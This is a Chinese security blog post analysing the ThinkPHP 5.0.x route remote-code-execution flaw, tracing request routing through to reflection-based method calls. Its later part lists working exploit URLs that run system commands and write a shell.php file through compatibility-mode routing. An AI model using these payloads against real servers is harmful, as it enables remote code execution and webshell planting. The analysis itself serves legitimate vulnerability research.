ThinkPHP5路由rce漏洞分析

admin 2024年9月15日13:19:55评论25 views字数 5599阅读18分39秒阅读模式
ThinkPHP5路由rce漏洞分析

使用的版本是tp5.0.18

https://github.com/top-think/framework/releases/tag/v5.0.18

https://github.com/top-think/think/releases/tag/v5.0.18

路由分析

从index.php开始路由分析,用动态调试的方法来进行路由分析

首先是看index.php

ThinkPHP5路由rce漏洞分析

再跟到start.php

ThinkPHP5路由rce漏洞分析

补充一下:App通常是应用程序的主要入口类,run方法通常负责启动应用程序的生命周期。这包括初始化配置、设置路由、加载必要的服务和中间件等。send方法通常用于发送最终的响应到客户端。在大多数Web应用框架中,它会输出HTTP响应内容,如HTML、JSON、文件等,并合理设置HTTP头信息。总的来说就是结合起来,这行代码可以解释为,应用通过 App::run() 启动整个应用程序,并在所有处理完成后,通过 send() 方法发送结果到客户端。所以要分析路由的话,我们要跟到run里面去看。

跟到run里面,这里面就是检测请求的地方了,可以看到这里的输入都有request

ThinkPHP5路由rce漏洞分析

这里我就不放截图了,放了就过于冗长了,简单审计一下前面的东西。然后直接到重要的这个地方,routeCheck这里就是检测路由的。

ThinkPHP5路由rce漏洞分析

因为这个dispatch为null,那我们肯定是可以进入这个逻辑的。

ThinkPHP5路由rce漏洞分析

跟进routecheck

ThinkPHP5路由rce漏洞分析

可以看到我们的请求路径就在这里被从request请求里面取出来,然后传给了path变量。

然后第二步是从config里面取了个符号/出来,用来后面分割我们的路径

ThinkPHP5路由rce漏洞分析

下一步:检测路由,如果self::$routeCheck是null,则从config里面读取配置,默认就为true

ThinkPHP5路由rce漏洞分析
ThinkPHP5路由rce漏洞分析

然后看有没有路由的缓存文件,有的话,就包含;没有的话,就从配置里面读路由文件的路径,然后包含。简单的讲,就是去包含一个router.php的文件

ThinkPHP5路由rce漏洞分析

然后看有没有路由的缓存文件,有的话,就包含;没有的话,就从配置里面读路由文件的路径,然后包含。简单的讲,就是去包含一个router.php的文件

ThinkPHP5路由rce漏洞分析

这里的Route::check简单的讲就是看你的url是不是匹配到了router.php里面的路由,如果没有匹配到,就走解析模块/控制器/操作/参数的逻辑去检测url,匹配到了则就这样。

ThinkPHP5路由rce漏洞分析
ThinkPHP5路由rce漏洞分析

我们这里返回的是false显然是不走这个逻辑的

ThinkPHP5路由rce漏洞分析

最后就走到常规的url的检测逻辑了,也就是最后一步。

ThinkPHP5路由rce漏洞分析

我们跟进Route::parseUrl去看一看。

跟进去之前我们先理一理之前的逻辑

index.php->start.php->App::run()->App中的self::routeCheck->输入的path没在router.php设置的路由中匹配到->最后进入routeCheck中的Route::parseUrl操作

好现在我们进入Route::parseUrl看一下。看是不是绑定了路由,没绑定就不过第一个逻辑,我们这里没绑定就不会过这个逻辑

ThinkPHP5路由rce漏洞分析

下面这里就把url分割开来了,存在path中按竖线分成了数组中的元素。

ThinkPHP5路由rce漏洞分析

检测到path存在值之后,就进入下面的解析路由的模块了

ThinkPHP5路由rce漏洞分析

然后看是否支持多模块,默认支持,则从path中删除第一个元素,然后将删除的第一个元素传输给module。

module下面的if中$autoSearch是从config里取出的,看设置是否自动搜索控制器,默认为false。所以下面这个if不经过。

ThinkPHP5路由rce漏洞分析

走到下面的else里就是挨个从path数组中取出控制器controller,以及操作action,以及操作后面跟的参数

ThinkPHP5路由rce漏洞分析

最后两个if逻辑,第一个是看之前绑定的bind里面有没有mudule或者mudule是不是空,如果满足一个条件 -> 则会按照controller/action的方式去看之前有没有绑定。通过这样做,可以确保当前请求的URL不会与已定义的路由规则发生冲突,防止重复定义导致路由处理混乱。

ThinkPHP5路由rce漏洞分析

这两个if逻辑正常访问都是直接过,然后最后就return了一个如下图所示的数组出去

ThinkPHP5路由rce漏洞分析
ThinkPHP5路由rce漏洞分析

再理一下,从index.php->start.php->App::run()->App中的self::routeCheck->输入的path没在router.php设置的路由中匹配到->最后进入routeCheck中的Route::parseUrl操作->parseurl看是否有重复绑定,没有则返回 模块/控制器/操作 的一个数组

最后数组返回出来就简单点看看,只看关键的地方,去看一下在哪里调用类的

回到我们最开始的App::run()这里,通过动态调试,得知了最终调用类和方法的地方在这里,exec

ThinkPHP5路由rce漏洞分析

exec -> module

ThinkPHP5路由rce漏洞分析

exec -> module -> Loader::controller

ThinkPHP5路由rce漏洞分析

exec -> module -> Loader::controller ->class_exists

ThinkPHP5路由rce漏洞分析

exec -> module -> Loader::controller ->class_exists ->存在就__include_file(看了下就是include)

ThinkPHP5路由rce漏洞分析

exec -> module -> Loader::controller ->class_exists ->存在就__include_file(看了下就是include) -> 刚刚返回true后回到controller 去调用这个class

ThinkPHP5路由rce漏洞分析

exec -> module -> Loader::controller ->class_exists ->存在就__include_file(看了下就是include) -> 刚刚返回true后回到controller 去调用这个class ->回到module用is_callable看hello方法能否调用,能调用就直接用反射去调用

ThinkPHP5路由rce漏洞分析

最后App.php:343, thinkApp::invokeMethod()这里用反射去调用了我们传入的类的方法,而类就是之前获取到的index类。

ThinkPHP5路由rce漏洞分析

最后总结一下整个流程就是 index.php->start.php->App::run()->App中的self::routeCheck->输入的path没在router.php设置的路由中匹配到->最后进入routeCheck中的Route::parseUrl操作->parseurl看是否有重复绑定,没有则返回 模块/控制器/操作 的一个数组  -> exec -> module ->Loader::controller ->class_exists ->存在就__include_file(看了下就是include) -> 刚刚返回true后回到controller 去调用这个class ->回到module用is_callable看hello方法能否调用,能调用就直接用反射去调用 -> App.php:331, thinkApp::invokeMethod()用反射动态调用构造好的类的路径去调用方法

简单的讲:如果有controller就直接调用,如果controller传入的方法能调用,就调用。

漏洞点就出来了,如果能调用任意的类,执行任意的方法,就可以rce了,或者就算不是任意类,只要找到一个其他能rce到类就行。

漏洞分析

我们回到刚才调用类的地方,如果我们直接传入一个任意类,程序就会默认的给我们拼接为appindexcontrollerEvil。这里我们仔细看可以看到,controller传入参数的地方,他其实并没有传入module,只传入了controller也就是我们的Evil类。也就是说路径前面的controller肯定是在这里面自己默认加进去的。

ThinkPHP5路由rce漏洞分析

这样就导致我们,只能进入controller文件夹去调用类,而我们需要调用任意的类,就要从这个构造class变量的方法去入手了。也就是getModuleAndClass这个地方,跟进去看一眼,代码分析我就直接写在注释里面。

protected static function getModuleAndClass($name, $layer, $appendSuffix)
{
   if (false !== strpos($name, '\')) {
       // 如果$name中包含命名空间分隔符'', 则$name是完整的类名
       $module = Request::instance()->module(); // 获取当前模块名称
       $class  = $name; // 直接使用$name
   } else {
       if (strpos($name, '/')) {
           // 如果$name中包含'/', 则将模块名称和类名分拆
           list($module, $name) = explode('/', $name, 2);
       } else {
           // 如果$name中不包含'/', 当前模块名称为请求的模块名称
           $module = Request::instance()->module();
       }

       // 调用 parseClass 方法生成完整的类名
       $class = self::parseClass($module, $layer, $name, $appendSuffix);
   }

   return [$module, $class]; // 返回模块名称和完整类名
}

可以看到如果name带有符号那就回直接返回。现在我们来看看

兼容模式

如果我们直接访问http://127.0.0.1/public/index.php/index/evil/hello的话,http协议就会给我们转义掉了。那就没办法在类名中加入反斜线了,这时候我们就要想到thinkphp的兼容模式。

这里就简单介绍一下,这个兼容模式是默认开启的,并且参数默认也是s。

其作用就是假如访问http://127.0.0.1/public/index.php?s=index/evil/hello,它的效果和http://127.0.0.1/public/index.php/index/evil/hello的效果是一样。用兼容模式去访问的话,就不会被http转义掉我们的反斜线了。

ThinkPHP5路由rce漏洞分析

如下

ThinkPHP5路由rce漏洞分析

现在我们再去在参数中加入反斜线

ThinkPHP5路由rce漏洞分析

成功把appindexcontrollerEvil变成evil了。

继续
ThinkPHP5路由rce漏洞分析

刚才说到,我们已经成功把class变成evil了。就是说我们原来只能去controller里面的东西,现在我们已经绕出来了。

为了包含我们想要的rce的类,这里要说一说php反射的一个点。php反射只能操作已经声明的类。这是因为反射是基于运行时的元数据来工作的,如果类尚未声明,自然不存在元数据供反射机制使用。

这里我们就可以在idea的控制台使用get_declared_classes()来获取所有已经声明的类

ThinkPHP5路由rce漏洞分析
ThinkPHP5路由rce漏洞分析

由于是分析漏洞,我们就不一个一个找了,看这里的一个https://github.com/Mochazz/ThinkPHP-Vuln/blob/master/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C9.md

payload里面用的类来进行分析。

ThinkPHP5路由rce漏洞分析
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

我们就看最后一个payload吧..因为我试了下上面的好像在这个版本都不成功。

可以看到确实是有这个类的

ThinkPHP5路由rce漏洞分析

找到thinkapp/invokefunction。

ThinkPHP5路由rce漏洞分析
public static function invokeFunction($function, $vars = [])
{
   // 使用 ReflectionFunction 类来反射函数
   $reflect = new ReflectionFunction($function);

   // 绑定参数,确保传入函数的参数与实际参数匹配
   $args = self::bindParams($reflect, $vars);

   // 如果开启了调试模式,记录函数执行的信息
   self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

   // 使用反射对象调用函数,并传入绑定后的参数
   return $reflect->invokeArgs($args);
}

简单的讲就是传入一个$function是函数名,另一个数组里面就是函数的参数。所以到这里就很清晰了。

?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

就是用call_user_func_array去执行calc来弹计算器就行了。

ThinkPHP5路由rce漏洞分析

原文始发于微信公众号(SecNL安全团队):ThinkPHP5路由rce漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月15日13:19:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP5路由rce漏洞分析https://cn-sec.com/archives/3171349.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息